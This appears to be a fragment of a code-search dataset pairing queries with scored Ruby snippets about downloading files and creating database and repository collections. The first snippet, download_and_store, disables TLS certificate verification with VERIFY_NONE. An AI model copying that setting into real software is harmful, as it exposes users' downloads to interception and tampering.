"text": "def download_and_store(url, filename=\"#{SecureRandom.uuid}\")\n\n # https://ruby-doc.org/stdlib-1.9.3/libdoc/tempfile/rdoc/Tempfile.html\n file = Tempfile.new(filename) # use an array to enforce a format\n\n # set to write in binary mode (kinda weird api, but hey)\n file.binmode\n\n @task_result.logger.log_good \"Attempting to download #{url} and store in #{file.path}\" if @task_result\n\n begin\n\n uri = URI.parse(url)\n\n opts = {}\n if uri.instance_of? URI::HTTPS\n opts[:use_ssl] = true\n opts[:verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n # TODO enable proxy\n http = Net::HTTP.start(uri.host, uri.port, nil, nil, opts) do |http|\n http.read_timeout = 15\n http.open_timeout = 15\n http.request_get(uri.path) do |resp|\n resp.read_body do |segment|\n file.write(segment)\n end\n end\n end\n\n rescue URI::InvalidURIError => e\n @task_result.logger.log_error \"Invalid URI? #{e}\" if @task_result\n return nil\n rescue URI::InvalidURIError => e\n #\n # XXX - This is an issue. We should catch this and ensure it's not\n # due to an underscore / other acceptable character in the URI\n # http://stackoverflow.com/questions/5208851/is-there-a-workaround-to-open-urls-containing-underscores-in-ruby\n #\n @task_result.logger.log_error \"Unable to request URI: #{uri} #{e}\" if @task_result\n return nil\n rescue OpenSSL::SSL::SSLError => e\n @task_result.logger.log_error \"SSL connect error : #{e}\" if @task_result\n return nil\n rescue Errno::ECONNREFUSED => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Errno::ECONNRESET => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Errno::ETIMEDOUT => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Net::HTTPBadResponse => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Zlib::BufError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Zlib::DataError => e # \"incorrect header check - may be specific to ruby 2.0\"\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue EOFError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue SocketError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Encoding::InvalidByteSequenceError => e\n @task_result.logger.log_error \"Encoding error: #{e}\" if @task_result\n return nil\n rescue Encoding::UndefinedConversionError => e\n @task_result.logger.log_error \"Encoding error: #{e}\" if @task_result\n return nil\n rescue EOFError => e\n @task_result.logger.log_error \"Unexpected end of file, consider looking at this file manually: #{url}\" if @task_result\n return nil\n ensure\n file.flush\n file.close\n end\n\n file.path\n end",
"title": ""
},
{
"docid": "a6620361b425fcfaabccb387c2634443",
"score": "0.48993796",
"text": "def to_file(path)\n if path.nil?\n raise Optidash::Errors::NoPathProvided, \"No save path provided\"\n end\n\n validate_binary_operations\n @request.perform(binary: true, save_path: path)\n end",
"title": ""
},
{
"docid": "c4d26090c762a31471a0352d4b68ec22",
"score": "0.48954618",
"text": "def down_image(src, dest)\n\turl = URI::parse(src)\n\treq = Net::HTTP::Get.new(url.path)\n\tNet::HTTP.start(url.host, url.port) { |http|\n\t\tresp = http.request( req )\n\t\tcreate_file(resp, dest)\t\t\t\n\t}\nend",
"title": ""
},
{
"docid": "c119054600b59ea967ad8dff899fa099",
"score": "0.4884807",
"text": "def save_impl(format, file)\n write_new_image format, FileImageOutputStream.new(file)\n end",
"title": ""
}
] |
6d008956833a32114321b08714bf7b08
|
Create a collection and return it.
|
[
{
"docid": "9a59781f3e9f514302a767fcb050d578",
"score": "0.72330755",
"text": "def create_collection(name)\n @change_collections_mutex.synchronize do\n collection = native.collection(name)\n collection.create\n collections[name] = Robe::DB::Mongo::Collection.new(self, collection)\n end\n end",
"title": ""
}
] |
[
{
"docid": "c259de75da1924698a5ad1ad09cf3763",
"score": "0.8030693",
"text": "def new_collection\n Models::Collection.new\n end",
"title": ""
},
{
"docid": "9021186752465637abfd754e26422ac2",
"score": "0.7787464",
"text": "def make_collection\n @resource.make_collection\n end",
"title": ""
},
{
"docid": "ce1b9f5e92dde69892d81776b35fc74c",
"score": "0.7775364",
"text": "def make_collection\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "6774435010c247653f0b7d06857cb441",
"score": "0.7443862",
"text": "def create_collections\n self.collections.each do |c|\n self.add_collection(c)\n end\n end",
"title": ""
},
{
"docid": "1828fefd55bf6d739791cc266d067be0",
"score": "0.7354677",
"text": "def collection\n Rails.logger.info \"XXXXX COLLECTION NAME #{collection_hash['collection name']}\"\n\n @collection ||= CollectionCreator.find_or_create_collection(\n collection_hash['collection name'],\n collection_hash['unit name'],\n collection_hash['collection description'],\n submitter_user_key\n )\n end",
"title": ""
},
{
"docid": "43332420d533399ddb83340053a5b062",
"score": "0.728524",
"text": "def create_collection\n return if collection\n\n google_session.root_collection.create_subcollection('riskcovry_uploads')\n end",
"title": ""
},
{
"docid": "bbea34bc0e05b790774a203879a88a50",
"score": "0.72349185",
"text": "def create_collections\n @client[URLS_COLLECTION].create\n @client[DOCUMENTS_COLLECTION].create\n\n nil\n end",
"title": ""
},
{
"docid": "d374684de489e1d9a166224d4a0e15ca",
"score": "0.71861243",
"text": "def new_collection(query, resources = nil, &block)\n Collection.new(query, resources, &block)\n end",
"title": ""
},
{
"docid": "eaae7db0884718942feeb729738c7e4b",
"score": "0.71712935",
"text": "def new_collection\n primitive.new\n end",
"title": ""
},
{
"docid": "a674a6bceb38b01799b339797504e155",
"score": "0.7156533",
"text": "def new\n @collection = Collection.new\n end",
"title": ""
},
{
"docid": "11b97b704df6b64867f645b5d44f735f",
"score": "0.7050334",
"text": "def create_child_collection(name)\n return @coll_man_service.create_collection(name)\n end",
"title": ""
},
{
"docid": "4c00f2e76725926b98084028bddc71da",
"score": "0.7036881",
"text": "def create_collection(name, template: nil, bare: nil)\n unless exists_collection? name\n create_wiki(name, @meta_wiki_name, {\n :bare => bare,\n :assert_valid_collection => false,\n :template => template\n })\n else\n true\n end\n end",
"title": ""
},
{
"docid": "3b0e8146f6f8ad54fc3f76bca8524533",
"score": "0.7035369",
"text": "def create_collection(collectionName=nil)\n if collectionName.class == String && block_given?\n @j_del.java_method(:createCollection, [Java::java.lang.String.java_class,Java::IoVertxCore::Handler.java_class]).call(collectionName,(Proc.new { |ar| yield(ar.failed ? ar.cause : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling create_collection(#{collectionName})\"\n end",
"title": ""
},
{
"docid": "581645e57fa6f2db666416dc2d3f880b",
"score": "0.6941841",
"text": "def create\n # Manual load and authorize necessary because Cancan will pass in all\n # form attributes. When `permissions_attributes` are present the\n # collection is saved without a value for `has_model.`\n @collection = ::Collection.new\n authorize! :create, @collection\n # Coming from the UI, a collection type gid should always be present. Coming from the API, if a collection type gid is not specified,\n # use the default collection type (provides backward compatibility with versions < Hyrax 2.1.0)\n @collection.collection_type_gid = params[:collection_type_gid].presence || default_collection_type.gid\n @collection.id = Californica::IdGenerator.id_from_ark(collection_params[\"ark\"])\n @collection.attributes = collection_params.except(:members, :parent_id, :collection_type_gid)\n @collection.apply_depositor_metadata(current_user.user_key)\n add_members_to_collection unless batch.empty?\n @collection.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PRIVATE unless @collection.discoverable?\n if @collection.save\n after_create\n else\n after_create_error\n end\n end",
"title": ""
},
{
"docid": "861cdae144497ff541076f496e9502fe",
"score": "0.69302565",
"text": "def build(attrs, collection)\n collection.new(attrs)\n end",
"title": ""
},
{
"docid": "a83c23c69ee3533d909d5561554e2015",
"score": "0.69193584",
"text": "def _collection(name)\n @collections[name] ||= Dynamodb::Collection.new(\n @client,\n Lotus::Model::Adapters::Dynamodb::Coercer.new(_mapped_collection(name)),\n name,\n _identity(name),\n )\n end",
"title": ""
},
{
"docid": "bf0613e3eebf41b5b3df65845729ab57",
"score": "0.687558",
"text": "def collection\n @collection ||= load_collection\n end",
"title": ""
},
{
"docid": "dc88053eaa72dc53afb0ee71cc85cabb",
"score": "0.68479735",
"text": "def instantiate_collection(collection, prefix_options = {})\r\n ## collection with timestamps\r\n if collection.size == 3\r\n value = collection.values[1]\r\n ## collection without timestamp\r\n elsif collection.size ==2\r\n value = collection.values[0]\r\n elsif collection.size == 4\r\n value = collection\r\n end\r\n if(value.is_a? Array)\r\n # Assume the value contains an array of elements to create\r\n return value.collect! { |record| instantiate_record(record, prefix_options) }\r\n elsif(value.is_a? Hash) # search results\r\n result = []\r\n result << instantiate_record(value, prefix_options)\r\n end\r\n end",
"title": ""
},
{
"docid": "a96d643fc50f958926e07a7781421ec4",
"score": "0.6838857",
"text": "def find_or_create_collection(collection)\n\t # collection is response from sohpify api\n\t\tc = collections.find_by_shopify_collection_id(collection.id)\n \tRails.logger.debug(\"Found existing collection (#{collection.class.name}): #{c.title}\") if c\n\t\treturn c if c\n\n\t\tRails.logger.debug(\"No collection yet for this shopify collection: #{collection.inspect}\")\n\n\t\tcollections.create(\n\t\t\ttitle: collection.title,\n\t\t\tshopify_collection_id: collection.id #[:id], # Dont know what the actual id is called\n\t\t)\n\tend",
"title": ""
},
{
"docid": "82f51e58b2b93b3bf158961e94332e85",
"score": "0.6837537",
"text": "def [](collection_name)\n Collection.new(self, collection_name)\n end",
"title": ""
},
{
"docid": "bf7efd7f2d9405c07ac5d30e9dc1999b",
"score": "0.6830995",
"text": "def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end",
"title": ""
},
{
"docid": "6ab035d298b5f64ab884c9091f28be8c",
"score": "0.67953885",
"text": "def create\n @collection = Collection.new(collection_params)\n ensure_default_editors\n ensure_default_viewers\n authorize! :create, @collection\n flash[:notice] = 'Collection was successfully created.' if @collection.save\n respond_with(@collection)\n end",
"title": ""
},
{
"docid": "0727ff8aaea56b58dfde35edc5e02ca0",
"score": "0.67546487",
"text": "def make_collection\n# Dir.mkdir(file_path)\n# Created\n\n # ディレクトリなら末尾に「/」をつける。\n # (dstにもともと「/」が付いているかどうか、クライアントに依存している)\n # CarotDAV : 「/」が付いていない\n # TeamFile : 「/」が付いている\n collection!\n\n bson = @collection.find_one({:filename => file_path}) rescue nil\n\n # 0バイトのファイルを作成しディレクトリの代わりとする\n @filesystem.open(file_path, \"w\") { |f| } if !bson\n \n# @@logger.error('make_collection : ' + file_path)\n\n Created\n end",
"title": ""
},
{
"docid": "564237e8404a651986b009afb8d68c13",
"score": "0.671618",
"text": "def create(title: \"\", description: \"\", private: false)\n params = {\n title: title,\n description: description,\n private: private\n }\n Unsplash::Collection.new JSON.parse(connection.post(\"/collections\", params).body)\n end",
"title": ""
},
{
"docid": "684db4899677cc4b4d89275bcdce7455",
"score": "0.6706684",
"text": "def new_collection(query, resources = nil, &block)\n self.class.new(query, resources, &block)\n end",
"title": ""
},
{
"docid": "40820b3c277a0be2a3d80feda669dc7a",
"score": "0.6703287",
"text": "def _collection(name)\n @collections[name] ||= Memory::Collection.new(name, _identity(name))\n end",
"title": ""
},
{
"docid": "d421d747f0401daeaec77e3bccb3b490",
"score": "0.66596407",
"text": "def make_collection\n NotImplemented\n end",
"title": ""
},
{
"docid": "d421d747f0401daeaec77e3bccb3b490",
"score": "0.66596407",
"text": "def make_collection\n NotImplemented\n end",
"title": ""
},
{
"docid": "c7825d4a89f7f5cb5c914429eb8fdfee",
"score": "0.6654411",
"text": "def build_collection\n bucket = cluster.bucket(@couchbase_options[:bucket])\n if @couchbase_options[:scope] && @couchbase_options[:collection]\n bucket.scope(@couchbase_options[:scope]).collection(@couchbase_options[:collection])\n else\n bucket.default_collection\n end\n end",
"title": ""
},
{
"docid": "c65b83b699e8d71b5a18250bf82825f2",
"score": "0.6643243",
"text": "def collection(collection_name)\n Collection.new(@backend, @bucket_name, @name, collection_name)\n end",
"title": ""
},
{
"docid": "19aea8c2a8e27c1492d05e7a42bd3d72",
"score": "0.66419625",
"text": "def collection\n @collection ||= PublicEarth::Db::Collection.find_by_id!(collection_id)\n end",
"title": ""
},
{
"docid": "4844e753f608562c973eea7f828da556",
"score": "0.66215676",
"text": "def instantiate_collection_with_collection(collection, prefix_options = {})\n if collection.is_a?(Hash) && collection[\"type\"] == \"collection\"\n collectables = collection.values.find{|c| c.is_a?(Hash) || c.is_a?(Array) }\n collectables = [collectables].compact unless collectables.kind_of?(Array)\n instantiated_collection = WillPaginate::Collection.create(collection[\"current_page\"], collection[\"per_page\"], collection[\"total_entries\"]) do |pager|\n pager.replace instantiate_collection_without_collection(collectables, prefix_options)\n end \n else\n instantiate_collection_without_collection(collection, prefix_options)\n end \n end",
"title": ""
},
{
"docid": "4aed567cf2b9647b6e4d4ce951cb78ef",
"score": "0.6598574",
"text": "def create\n collection = @current_user.collections.create\n collection.set_attributes(params)\n\n if not collection.valid?\n collection_errors(collection)\n redirect_to :back and return\n else\n collection.save\n end\n redirect_to collection_path(:id => collection.id)\n end",
"title": ""
},
{
"docid": "3b6c1864ef705d586f9d3f29b6369300",
"score": "0.65951645",
"text": "def create_collection(client, collection_name)\n client[collection_name].drop\n client[collection_name].create\n end",
"title": ""
},
{
"docid": "96d6cb9802399fef72aa44e2e00c248c",
"score": "0.65847415",
"text": "def new_collection\n h = SimpleMapper::Collection::Hash.new\n h.attribute = self\n h\n end",
"title": ""
},
{
"docid": "d64c9928b8bb26c251f9e5257580fba2",
"score": "0.65792596",
"text": "def instantiate_collection(collection)\n collection.collect! { |record| instantiate_record(record) }\n end",
"title": ""
},
{
"docid": "889cce38832a8c08a902ca2fd9c5d479",
"score": "0.6565033",
"text": "def getCollection\n return @coll\n end",
"title": ""
},
{
"docid": "6fff5fa22e16599ee6204d95f0804f49",
"score": "0.6562904",
"text": "def create\n collection = @current_user.collections.create\n collection.set_attributes(params)\n \n if not collection.valid?\n collection_errors(collection)\n redirect_to :back and return\n else\n collection.save\n end\n redirect_to collection_path(:id => collection.id)\n end",
"title": ""
},
{
"docid": "ce0c4bcfff5ed497ffc8cb381fe09c10",
"score": "0.6520252",
"text": "def collection\n if @collection.kind_of? Proc\n @collection = @collection.call\n ensure_indices if @collection.kind_of? Mongo::Collection\n end\n return @collection\n end",
"title": ""
},
{
"docid": "d6a068e68d02238bb3334d08be887ef9",
"score": "0.6517905",
"text": "def create\n @collection = current_user.collections.new(collection_params)\n respond_to do |format|\n if @collection.save\n format.html { redirect_to account_collections_url, notice: 'Collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @collection }\n else\n format.html { render action: 'new' }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c4ed21489329c1a61c3756423629d04",
"score": "0.6480248",
"text": "def create\n @collection = current_user.collections.build(params[:collection])\n\n # set some default values - set collection value to the number of current collections\n if Collection.where(\"name like ?\", \"%Untitled%\").count > 0\n count = Collection.where(\"name like ?\", \"%Untitled%\").order(\"created_at DESC\").first.name.sub('Untitled-Collection-','').to_i + 1\n else\n count = 1\n end\n \n @collection.name = \"Untitled-Collection-\"+count.to_s()\n @collection.user = current_user\n @collection.challenge = false\n @collection.privacy = \"unlisted\"\n\n respond_to do |format|\n if @collection.save\n @collection.update_attributes(:name => \"Untitled-Collection-\" + @collection.id.to_s)\n format.html { redirect_to @collection }\n format.json { render :json => @collection, :status => :created, :location => @collection }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @collection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cacb2992e915c7631d2c5bd97ec29c1",
"score": "0.6477372",
"text": "def with_collection(options = {})\n return yield if options.empty?\n\n name = create(options)\n begin\n yield name\n ensure\n delete name\n end\n end",
"title": ""
},
{
"docid": "250ea85bb371c5811abbfecc4518fb72",
"score": "0.6475599",
"text": "def create\n @collection = Collection.new(collection_params)\n authorize! :create, @collection\n respond_to do |format|\n if @collection.save\n format.html { redirect_to admin_collections_url, notice: \"Collection '#{@collection.title}' was successfully created.\" }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5c3d79b0c16783f4a6c08b508917ddc",
"score": "0.6453661",
"text": "def collection(objectName)\n Hirsute::Collection.new(objectName)\nend",
"title": ""
},
{
"docid": "842546149e60a96dd871408277a84db4",
"score": "0.6452823",
"text": "def create_collection\n Dir.mkdir @src_path\n end",
"title": ""
},
{
"docid": "c02e0ada1f1b50fa008740055f20123b",
"score": "0.6450118",
"text": "def new_input_set()\n return CreateCollectionInputSet.new()\n end",
"title": ""
},
{
"docid": "0e9001548fb34e69aea0ab9bc8da23a6",
"score": "0.64374703",
"text": "def create\n @collection = Collection.new(params[:collection])\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, :notice => 'Collection was successfully created.' }\n format.json { render :json => @collection, :status => :created, :location => @collection }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @collection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16f272d174acae82ebc302b6b189ec67",
"score": "0.64330494",
"text": "def collection\n @collection ||= Collection.load(self.collection_url)\n end",
"title": ""
},
{
"docid": "12722414d0739db825b335f203c72cb0",
"score": "0.64291734",
"text": "def collection\n @collection ||= self.db.collection(self.collection_name)\n end",
"title": ""
},
{
"docid": "4326dad0ca14b8e47e69eb3c1b2e70ad",
"score": "0.64286125",
"text": "def create\n @collection = current_user.collections.new(collection_params)\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe3e3ae4f77961b8f3e3b83707274ac5",
"score": "0.63790715",
"text": "def collection\n instance_variable_get(collection_name) || set_collection(find_collection)\n end",
"title": ""
},
{
"docid": "62b41330b518d703335fa7e06b943959",
"score": "0.63734883",
"text": "def create\n @collection = Collection.new(collection_params)\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to root_path, notice: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3605817b0743a7c9ec6b4b8c5d4b5803",
"score": "0.6372249",
"text": "def create\n @collection = Collection.new(params[:collection])\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render json: @collection, status: :created, location: @collection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3605817b0743a7c9ec6b4b8c5d4b5803",
"score": "0.6372249",
"text": "def create\n @collection = Collection.new(params[:collection])\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render json: @collection, status: :created, location: @collection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fdbd16d88e332feb4d90513ba9d67cc1",
"score": "0.63559926",
"text": "def find_or_create_collection_ids\n return self.collection_ids if collections_created?\n if sets.blank? || parser.collection_name != 'all'\n # c = Collection.where(Bulkrax.system_identifier_field => importerexporter.unique_collection_identifier(parser.collection_name)).first\n collection = find_collection(importerexporter.unique_collection_identifier(parser.collection_name))\n self.collection_ids << collection.id if collection.present? && !self.collection_ids.include?(collection.id)\n else # All - collections should exist for all sets\n sets.each do |set|\n c = Collection.find_by(work_identifier => importerexporter.unique_collection_identifier(set.content))\n self.collection_ids << c.id if c.present? && !self.collection_ids.include?(c.id)\n end\n end\n return self.collection_ids\n end",
"title": ""
},
{
"docid": "312190b2ae768c58b18ab33c919d671d",
"score": "0.63443756",
"text": "def collection(name=nil)\n if name\n @collection = db.collection(name: name)\n else\n @collection || raise('Please give a collection name for this model')\n end\n end",
"title": ""
},
{
"docid": "89397e9efbe6a110fd626f9b22f55cf5",
"score": "0.6341958",
"text": "def instantiate_collection(*args)\n data = args.shift\n if data.is_a?(Hash)\n # if the data has the collection name as a root element, use that to build the records\n if data.has_key?(collection_name)\n super(data[collection_name], *args) \n else\n instantiate_flattened_collection(data, *args)\n end\n else\n super(data, *args)\n end\n end",
"title": ""
},
{
"docid": "d8ab0c4a1cebc0a003bb1f0dff382cfb",
"score": "0.6339705",
"text": "def create_collection(database_id:, collection_id:, name:, permissions: nil, document_security: nil)\n path = '/databases/{databaseId}/collections'\n .gsub('{databaseId}', database_id)\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if collection_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"collectionId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n collectionId: collection_id,\n name: name,\n permissions: permissions,\n documentSecurity: document_security,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'POST',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::Collection\n )\n end",
"title": ""
},
{
"docid": "c78c44e7bb29c6d88f7b88f0a1b0a4b8",
"score": "0.6311598",
"text": "def collection\n return nil unless collection_member?\n @collection ||= SolrDocument.new(\n Blacklight.solr.select(\n :params => {\n :fq => \"#{SolrDocument.unique_key}:\\\"#{self[blacklight_config.collection_member_identifying_field].first}\\\"\"\n }\n )[\"response\"][\"docs\"].first\n )\n end",
"title": ""
},
{
"docid": "ee38fb6c252add3f6dd2eeec97e33feb",
"score": "0.63082325",
"text": "def create\n @collection = Admin::Collection.new(collection_params)\n\n if @collection.save\n render json: @collection, status: :created#, location: @collection\n else\n render json: @collection.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c4b60b302d765539945105e5fdc9569c",
"score": "0.63059884",
"text": "def [](name)\n name = \"#{self.name}.#{name}\"\n return Collection.new(name, db) if !db.strict? ||\n db.collection_names.include?(name.to_s)\n raise \"Collection #{name} doesn't exist. Currently in strict mode.\"\n end",
"title": ""
},
{
"docid": "73dc1e51e67db347cbc2abe2443373cb",
"score": "0.6301975",
"text": "def initialize\n @coll = self.class.collection\n end",
"title": ""
},
{
"docid": "d8a54a887794cd69afd9f0f66a52fbd1",
"score": "0.6287412",
"text": "def collection\n @collection ||= collection_values\n end",
"title": ""
},
{
"docid": "da5b08d4c3fbfd63ffcb4fdefe385fa4",
"score": "0.6284466",
"text": "def create\n if params[:collection]\n @collection = Collection.new( params[:collection] )\n # Check: if user submitted an id, but it is not set, there was an error\n if params[:collection][:id] && params[:collection][:id] != @collection.id\n render_json :status => :bad_request, :messages => @collection.errors.full_messages and return\n end\n\n if @user && params[:collection][:owner_id]\n if @collection.indestructible\n render_json :status => :bad_request, :messages => \"Cannot set both: owner and indestructible\" and return\n elsif params[:collection][:owner_id] != @user.guid\n render_json :status => :bad_request, :messages => \"Owner cannot be different than logged in user.\" and return\n else\n @collection.owner = @user\n end\n else\n if params[:collection][:priv]\n render_json :status => :bad_request, :messages => \"Cannot set a collection private without an owner.\" and return\n end\n end\n else\n @collection = Collection.new\n end\n @collection.client = @client\n @collection.updated_by = @user ? @user.guid : @client.id\n\n if @collection.save\n render_json :status => :created, :entry => @collection.to_hash(@user, @client) and return\n else\n render_json :status => :bad_request, :messages => @collection.errors.full_messages and return\n end\n end",
"title": ""
},
{
"docid": "bfc0291edfc75e4574a530cc1398ae9c",
"score": "0.6278509",
"text": "def collection\n Jrodb::Collection::Basic.new(self)\n end",
"title": ""
},
{
"docid": "f58a10c5ccd76a882d495f9717dec1a7",
"score": "0.62585354",
"text": "def instantiate_collection(collection, prefix_options = {})\n puts collection.inspect\n unless collection.kind_of? Array\n [instantiate_record(collection, prefix_options)]\n else\n collection.collect! { |record| instantiate_record(record, prefix_options) }\n end\n end",
"title": ""
},
{
"docid": "cf54bcb64f80f990a2916d29599a53b1",
"score": "0.62508464",
"text": "def find_or_create_resource_for_collection(name)\r\n find_or_create_resource_for(name.to_s.singularize)\r\n end",
"title": ""
},
{
"docid": "b35cd742d686edc3c3a1218864ba2ca6",
"score": "0.6248236",
"text": "def collection(options={})\n response = client.get(api_path, options)\n\n if response.success?\n collection = []\n\n response.body.each do |json|\n collection << new(json)\n end\n\n collection\n else\n []\n end\n end",
"title": ""
},
{
"docid": "d168e801740145a14d5d0e96511ccf1d",
"score": "0.6224433",
"text": "def build_collection(c_hsh)\n title = c_hsh['title']\n desc = c_hsh['desc']\n col = Collection.new(title: title, description: desc, creator: Array(user_key))\n col.apply_depositor_metadata(user_key)\n\n # Build all the works in the collection\n works_info = Array(c_hsh['works'])\n c_works = works_info.map{|w| build_work(w)}\n\n # Add each work to the collection\n c_works.each{|cw| col.members << cw}\n\n col.save!\n end",
"title": ""
},
{
"docid": "da066b51e0e2c6b4b20e22aab495e117",
"score": "0.6223861",
"text": "def collection\n @collector.collection\n end",
"title": ""
},
{
"docid": "0588583a90740c0bcfae76ce031f5712",
"score": "0.62151015",
"text": "def collection\n klass.collection\n end",
"title": ""
},
{
"docid": "5e88d8708e7fef48ff1f794c49a6e3fd",
"score": "0.6210252",
"text": "def test_create_collection\n with_a_collection do\n assert_instance_of QualityCenter::Defect::Collection, @coll\n refute @coll.empty?\n end\n end",
"title": ""
},
{
"docid": "c61185daf357441132c439c9daaa8423",
"score": "0.62094855",
"text": "def collection(name = EM::Mongo::DEFAULT_NS)\n @collections[name] ||= EM::Mongo::Collection.new(@db_name, name, @em_connection)\n end",
"title": ""
},
{
"docid": "3bdbfe097147f299df5a2a1b2255dcbe",
"score": "0.62079436",
"text": "def create\n run_callbacks :create do\n connection.post(collection_path, encode, self.class.headers).tap do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end\n end",
"title": ""
},
{
"docid": "f127ec29ac281385cfe8262a0ce0f7ee",
"score": "0.61874145",
"text": "def collection; end",
"title": ""
},
{
"docid": "f127ec29ac281385cfe8262a0ce0f7ee",
"score": "0.61874145",
"text": "def collection; end",
"title": ""
},
{
"docid": "11c263f0ac4c59f5df2c881a66d47d14",
"score": "0.6175464",
"text": "def create\n @users_collection = Users::Collection.new(users_collection_params)\n\n respond_to do |format|\n if @users_collection.save\n format.html { redirect_to @users_collection, notice: 'Collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @users_collection }\n else\n format.html { render action: 'new' }\n format.json { render json: @users_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3ee5f05bd1dce4d4090345368436e21",
"score": "0.61696744",
"text": "def create_extended_collection(name, mkCol)\n end",
"title": ""
},
{
"docid": "97ab837a7343edc4ae330d9b0ca96040",
"score": "0.6167368",
"text": "def create\n @category_collection = CategoryCollection.new(params[:category_collection])\n @collection = @category_collection.collection\n\n respond_to do |format|\n if @category_collection.save\n flash[:notice] = 'CategoryCollection was successfully created.'\n format.html { redirect_to(@collection) }\n format.xml { render :xml => @category_collection, :status => :created, :location => @category_collection }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @category_collection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f07238122535a65937ab99c7a7a9aef0",
"score": "0.61614907",
"text": "def initialize\n @coll=self.class.collection\n end",
"title": ""
},
{
"docid": "c5565c5798582eadc50bc276e2bb4d3d",
"score": "0.6159137",
"text": "def create_collection(uri, mk_col)\n (parent_uri, new_name) = Http::UrlUtil.split_path(uri)\n\n # Making sure the parent exists\n begin\n parent = @tree.node_for_path(parent_uri)\n rescue Exception::NotFound => e\n raise Exception::Conflict, 'Parent node does not exist'\n end\n\n # Making sure the parent is a collection\n unless parent.is_a?(ICollection)\n fail Exception::Conflict, 'Parent node is not a collection'\n end\n\n # Making sure the child does not already exist\n begin\n parent.child(new_name)\n\n # If we got here.. it means there's already a node on that url, and we need to throw a 405\n fail Exception::MethodNotAllowed, 'The resource you tried to create already exists'\n rescue Exception::NotFound => e\n # NotFound is the expected behavior.\n end\n\n return nil unless emit('beforeBind', [uri])\n\n if parent.is_a?(IExtendedCollection)\n # If the parent is an instance of IExtendedCollection, it means that\n # we can pass the MkCol object directly as it may be able to store\n # properties immediately.\n parent.create_extended_collection(new_name, mk_col)\n else\n # If the parent is a standard ICollection, it means only\n # 'standard' collections can be created, so we should fail any\n # MKCOL operation that carries extra resourcetypes.\n if mk_col.resource_type.size > 1\n fail Exception::InvalidResourceType, 'The {DAV:}resourcetype you specified is not supported here.'\n end\n\n parent.create_directory(new_name)\n end\n\n # If there are any properties that have not been handled/stored,\n # we ask the 'propPatch' event to handle them. This will allow for\n # example the propertyStorage system to store properties upon MKCOL.\n emit('propPatch', [uri, mk_col]) if mk_col.remaining_mutations\n success = mk_col.commit\n\n unless success\n result = mk_col.result\n # generateMkCol needs the href key to exist.\n result['href'] = uri\n return result\n end\n\n @tree.mark_dirty(parent_uri)\n emit('afterBind', [uri])\n end",
"title": ""
},
{
"docid": "0c71c116f8bd7fcdc1972252169e8fee",
"score": "0.6154536",
"text": "def set_collection\n self._collection = Mongoid::Collection.new(self, self.collection_name)\n end",
"title": ""
},
{
"docid": "8264dea9a69b81db9f625d9e27f0d0a4",
"score": "0.614898",
"text": "def collection(resource_name, model = nil)\n @collections[resource_name] = {:parent => self, :target => (model ? model : resource_name)} # workaround for weird bug with passing a class to Collection\n class_eval(<<-EOS)\n def #{resource_name}\n @#{resource_name} ||= []\n end\n\n def #{resource_name}=(array)\n @#{resource_name} = SurveyGizmo::Collection.new(#{self}, :#{resource_name}, array)\n end\n EOS\n end",
"title": ""
},
{
